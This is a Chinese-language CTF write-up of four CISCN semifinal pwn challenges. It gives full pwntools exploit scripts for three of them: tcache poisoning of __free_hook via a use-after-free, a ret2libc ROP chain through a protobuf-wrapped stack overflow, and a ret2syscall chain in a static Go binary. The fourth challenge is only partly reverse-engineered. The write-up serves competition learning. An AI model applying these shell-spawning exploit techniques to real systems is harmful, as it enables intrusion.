簡介
前段時間賽前準備把ciscn東北賽區、華南賽區、西南賽區半決賽的題都復現完了。
可惜遇到了華東北賽區的離譜平臺和離譜pwn出題人:
- 假的awdp(直接傳🐎到靶機,然后連上去cat /flag.txt即可)
- 題型分布不合理,8個web 2個pwn(還是沒有libc的棧上簽到題)
今天把華中賽區的題目也都復現了一下,題目分布為1個簡單堆、1個高版本堆、1個go和1個protobuf。
對比之下,華東北的題最爛。
Pwn1-note
簽到堆題,2.31版本libc(tcache利用最簡單的版本)。
題目沒去除符號表,經典菜單題,逆向也不復雜。
逆向分析
拖入IDA分析:
經典的增刪改查菜單,逐個分析。
add
可以申請最多1024個任意大小的chunk(小于0x1000)。
edit
正常編輯功能,不存在溢出。
delete
關鍵漏洞點,存在UAF漏洞。
show
正常打印輸出chunk中的內容。
利用思路
題目給的glibc2.31相對來說還是比較好利用的,沒有fd指針也加密,malloc也不檢查是否0x10對齊。
存在UAF漏洞,沒有任何限制。打法有很多種,最簡單的就是tcache poisoning打__free_hook -> system。
通過tcache泄露堆地址,通過unsorted bin泄露libc,然后修改tcache的fd指針指向free_hook。
修改free_hook為system,然后釋放一個帶有/bin/sh的chunk即可完成利用。
exp
from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'def add_chunk(size, content):p.sendlineafter(b"5. exit\n", b"1")p.sendlineafter(b"content: \n", str(size).encode())p.sendlineafter(b"content: \n", content)def edit_chunk(index, content):p.sendlineafter(b"5. exit\n", b"2")p.sendlineafter(b"index: \n", str(index).encode())p.sendlineafter(b"content: \n", str(len(content)).encode())p.sendafter(b"Content: \n", content)def delete_chunk(index):p.sendlineafter(b"5. exit\n", b"3")p.sendlineafter(b"index: \n", str(index).encode())def show_chunk(index):p.sendlineafter(b"5. exit\n", b"4")p.sendlineafter(b"index:", str(index).encode())# leak heap and libc
for i in range(9):add_chunk(0x98, b'a' * 0x98) # 0-8for i in range(7):delete_chunk(6 - i)
delete_chunk(7)show_chunk(0)
heap_base = u64(p.recvuntil((b'\x55', b'\x56'))[-6:].ljust(8, b'\x00')) & ~0xFFF
success("heap_base = " + hex(heap_base))show_chunk(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
success("libc_base = " + hex(libc_base))# tcache poisoning
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
edit_chunk(1, b'/bin/sh\x00')edit_chunk(0, p64(free_hook))
add_chunk(0x98, b'b' * 0x98) # 9
add_chunk(0x98, p64(system)) # 10 __free_hook# gdb.attach(p)
# pause()delete_chunk(1)p.interactive()
Pwn2-protoverflow
題目很簡單,ret2libc。
難點在于交互時套了一層C++ Protobuf的殼。
Protobuf-C逆向可以參考《深入二進制安全:全面解析Protobuf》文章,近期會再更新一期關于C++中Protobuf結構體還原的方法。
逆向分析
發現程序運行時會打印puts函數地址,泄露libc。然后解析Protobuf結構體并調用真正的主函數。
結構體還原
使用pbtk工具:
pbtk-1.0.5/extractors/from_binary.py ./pwn
得到結構體:
syntax = "proto2";message protoMessage {optional string name = 1;optional string phoneNumber = 2;required bytes buffer = 3;required uint32 size = 4;
}
利用思路
name和phoneNumber可選,沒什么用。
buffer為字符串,size可自定義,調用memcpy時會存在棧溢出漏洞。
已知libc,可以考慮直接ret2libc。
(這里需要注意的是,經過編譯后的Protobuf會在頭部增加一個Message結構體,下標3開始才是我們的字段)
(而if里判斷了下標為2的參數,這里猜測是判斷結構體中name和phoneNumber字段是否為空)
exp
from pwn import *
import message_pb2elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'# leak libc
p.recvuntil(b'Gift: ')
gift = int(p.recv(14), 16)
libc_base = gift - libc.sym['puts']
libc.address = libc_base
success("libc_base = " + hex(libc_base))# rop
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
ret = next(libc.search(asm('ret'), executable=True))
pop_rdi = next(libc.search(asm('pop rdi; ret'), executable=True))
pop_rsi = next(libc.search(asm('pop rsi; ret'), executable=True))
pop_rdx_r12 = next(libc.search(asm('pop rdx; pop r12; ret'), executable=True))rop = b'a' * 0x210 + b'deadbeef'
rop += p64(pop_rdi) + p64(binsh)
rop += p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) * 2
rop += p64(system)# gdb.attach(p, 'b *$rebase(0x3345)\nc')
# pause()message = message_pb2.protoMessage()
message.buffer = rop
message.size = len(rop)p.send(message.SerializeToString())p.interactive()
Pwn3-go_note
Go語言靜態編譯的題目,IDA反編譯不是很好,但是代碼不復雜且漏洞點很好發現。
關鍵問題是沒有libc,需要找一些ROP來調用靜態編譯的函數,方法可能不是最優解,但是很容易想到。
逆向分析
Go語言逆向,相比于C語言的區別如下:
-
main函數名為main_main(如果去除符號表,考慮通過bindiff還原)
-
參數依次通過寄存器傳遞:AX、BX、CX、DI、SI、R8、R9、R10、R11
對于Go語言逆向,IDA支持不是很好,我們需要結合匯編代碼和動態調試來分析。
找到main_main函數:
好在不是很復雜,根據菜單發現有add、delete、edit和show功能,依次分析。
add
存在一個Notes結構體,存儲len和array結構體數組。add函數會將id、content_len和content加入到array結構體數組中。
delete
直接看變量有點復雜,結合gdb調試發現不存在UAF漏洞。
edit
直接看變量有點復雜,結合gdb動態調試發現這里沒有判斷輸入長度,存在溢出漏洞并能覆蓋到返回地址。
show
看上去沒有什么漏洞,直接打印內容。
利用思路
結合動態調試,發現edit存在棧溢出漏洞,可以劫持程序的控制流程。
由于題目沒有給出libc,也沒辦法泄露相關地址,我直接采用了ret2syscall。
題目是靜態編譯,搜索下syscall發現有如下函數:
我們的目的是執行execve(“/bin/sh”, 0, 0)。rax寄存器為系統調用號,rbx、rcx、rdi是系統調用的三個參數。
然后通過ROPgadget找到gadget:
rw_mem = 0x527088
pop_rax_rbp = 0x0000000000404408 # pop rax, rbp; ret
pop_rbx = 0x0000000000404541 # pop rbx; ret
mov_rcx_0 = 0x000000000040318f # mov rcx, 0; ret
xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee # xor edi, edi; add rsp 0x10; pop rbp; ret
syscall = 0x403160
找不到pop rcx和pop rdi指令,由于rcx和rdi都應該置0,所以可以找mov或者xor指令替代。
經過一番查找,發現一條mov rcx, 0指令可以把rcx寄存器置0。
并且,有一條xor edi, edi; add rsp, 0x10; pop rbp;指令,只要能夠讓edi置0即可,后面的指令相當于彈出棧上3個參數,填充即可。
現在距離拿下shell只差一步,題目沒有/bin/sh字符串,需要我們想辦法寫入一個已知地址。
經過調試發現,add函數將內容寫在了堆上,我們可以考慮利用一些gadget將字符串寫到bss段上。
比如,可以通過下面的gadget:
# use to write /bin/sh
# ... # pop rax, rbp; ret
pop_rdx = 0x000000000047a8fa # pop rdx; ret
mov_meax_edx = 0x0000000000402fd1 # mov [eax], edx
# write /bin to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem) + p64(0)
payload += p64(pop_rdx) + b'/bin' + b'\x00' * 4
payload += p64(mov_meax_edx)
# write /sh to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem + 4) + p64(0)
payload += p64(pop_rdx) + b'/sh' + b'\x00' * 5
payload += p64(mov_meax_edx)
然后正常的覆蓋返回地址到rop gadget執行ret2syscall即可。
exp
from pwn import *elf = ELF("./note")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'# rop
rw_mem = 0x527088
pop_rax_rbp = 0x0000000000404408 # pop rax, rbp; ret
pop_rbx = 0x0000000000404541 # pop rbx; ret
mov_rcx_0 = 0x000000000040318f # mov rcx, 0; ret
xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee # xor edi, edi; add rsp 0x10; pop rbp; ret
syscall = 0x403160# use to write /bin/sh
# ... # pop rax, rbp; ret
pop_rdx = 0x000000000047a8fa # pop rdx; ret
mov_meax_edx = 0x0000000000402fd1 # mov [eax], edxpayload = b'a' * 0x38 + b'deadbeef'
# write /bin to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem) + p64(0)
payload += p64(pop_rdx) + b'/bin' + b'\x00' * 4
payload += p64(mov_meax_edx)
# write /sh to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem + 4) + p64(0)
payload += p64(pop_rdx) + b'/sh' + b'\x00' * 5
payload += p64(mov_meax_edx)
# syscall 0x3b
payload += p64(pop_rax_rbp) + p64(0x3b) + p64(0)
payload += p64(pop_rbx) + p64(rw_mem)
payload += p64(mov_rcx_0)
payload += p64(xor_edi_add_rsp_10_pop_rbp) + p64(0) * 3
payload += p64(syscall)p.sendline(b'1')
p.sendline(b'a')
p.sendline(b'3')
p.sendline(b'1')# gdb.attach(p, 'b *0x47F41E\nc')
# pause()p.sendline(payload)p.interactive()
Pwn4-starlink
逆向起來比較費勁,涉及到了SSE指令,IDA反編譯的有問題,并且結構體設置的比較復雜。
除了final和destroy函數都逆了下,但是沒有找到漏洞點,有興趣的師傅可以做一下。(聽武漢大學的secsome師傅和V3rdant師傅說是start結構體的0x00偏移量位置的計數器沒有+1,這里確實是一個漏洞點,但是不知道后續怎么利用。)
(secsome師傅說IDA把一堆32bytes的識別成xmm導致反編譯的有問題)
這里給出一部分逆向分析過程。
逆向分析
查看main函數,發現是經典菜單題,選項多了點,逐個分析。
add_star
最多申請0x100個chunk。輸入idx、size和content,申請0x60大小的chunk_a后申請指定size的chunk_b。
與常規題目不同的是:
if ( ptr )
{__printf_chk(1LL, "Data: ");read(0, ptr, size);*(_QWORD *)&vars0 = 1LL;vars40 = &vars30.m128i_i64[1];*((_QWORD *)&vars0 + 1) = idx;vars10 = 0uLL;*(_QWORD *)&buf = 0LL;*((_QWORD *)&buf + 1) = size;vars48 = 0LL;vars30 = _mm_unpacklo_epi64((__m128i)(unsigned __int64)ptr, (__m128i)(unsigned __int64)&vars30.m128i_u64[1]);*((_QWORD *)heap_array + idx) = &vars0;return puts("Star created!");
}
這段代碼很奇怪,反編譯有問題。
前面將申請的0x60大小chunk_a的用戶區域指針賦值給了rbp,chunk_b的用戶區域指針賦值給了r12。
這里read內容到chunk_b后執行了一系列命令,可以看下匯編:
執行如下操作:
- [chunk_a] = 1
- [chunk_a + 8] = idx
- [rbp + 0x40] = &chunk_a + 0x38
- [rbp + 0x28] = size
而對于punpcklqdq xmm0, xmm1指令,動態調試發現:
執行結果,xmm0為16字節。低8字節為&chunk_b,高8字節為&chunk_a + 0x38。
然后執行如下操作:
- [chunk_a + 0x30] = xmm0,即[rbp + 0x30] = &chunk_b,[rbp + 0x38] = &chunk_a + 0x38。
- heap_array[idx] = &chunk_a。
動態調試后結構如下所示:
add_link
輸入chunk_a和chunk_b的下標,然后輸入distance,會判斷chunk+0x20的位置是否有數據,若不為0則代表已經finalize。
然后判斷chunk+0x10的位置是不是小于0x100,猜測這里是代表當前結點的連接數量。
后面的部分看匯編代碼:
申請0x30大小的chunk作為link結構體。它執行如下操作:
- rcx = [chunk_a + 0x38]
- xmm0 = &chunk_b
- rdx = &link_chunk + 0x10
- [link_chunk] = distance
- r12 = r12 + 1
- rsi = &chunk_a + 0x38
- edi = 0x20
- xmm3 = [chunk_a + 0x38]
- [link_chunk + 0x18] = &chunk_a + 0x38
- punpcklqdq xmm0, xmm3,結果是xmm0的低8字節為&chunk_b,高8字節為[chunk_a + 0x38]。
- [link_chunk + 0x8] = &chunk_b,[link_chunk + 0x10] = [chunk_a + 0x38]
- [[chunk_a + 0x38] + 8] = &link_chunk + 0x10
- [chunk_a + 0x38] = &link_chunk + 0x10
- [chunk_a + 0x10] = [chunk_a + 0x10] + 1
動態調試結果如下:
然后再次調用malloc申請一個0x30大小的chunk,執行如下操作:
- rcx = [chunk_b + 0x38]
- xmm0 = &chunk_a
- rdx = &chunk_link + 0x10
- [chunk_link] = distance
- rsi = &chunk_b + 0x38
- xmm4 = [chunk_b + 0x38]
- [chunk_link + 0x18] = &chunk_b + 0x38
- punpcklqdq xmm0, xmm3,結果是xmm0的低8字節為&chunk_a,高8字節為[chunk_b + 0x38]。
- [chunk_link + 0x8] = &chunk_a,[chunk_link + 0x10] = [chunk_b + 0x38]
- [[chunk_b + 0x38] + 8] = &chunk_link + 0x10
- [chunk_b + 0x38] = &chunk_link + 0x10
- [chunk_b + 0x10] = [chunk_b + 0x10] + 1
動態調試結果如下:
view_start
根據輸入的idx輸出對應的Index、Data、LinkCount和Distance。
可以結合這個show函數還原部分結構:
大概可以知道,start存儲了Index、data_len、data_ptr和Link_count,并且和這個start相關的link組成了一個雙向鏈表。
對于每個start的link,存儲distance、star_ptr、fd和bk,類似于鏈表實現鄰接矩陣。
update_star
根據update函數,又能推斷出一些信息:field_20和finalize有關。
然后可以正常edit數據區域,不存在溢出漏洞。
push_star
將field_0的值減1,如果field_0為0則進入清理操作。
將所有link刪除,然后將star刪除。
final
final函數用于構建graph。
后面實在不想分析了,看了會也沒找到漏洞在哪。
題目附件
關注公眾號【Real返璞歸真】回復【ciscn】下載題目附件。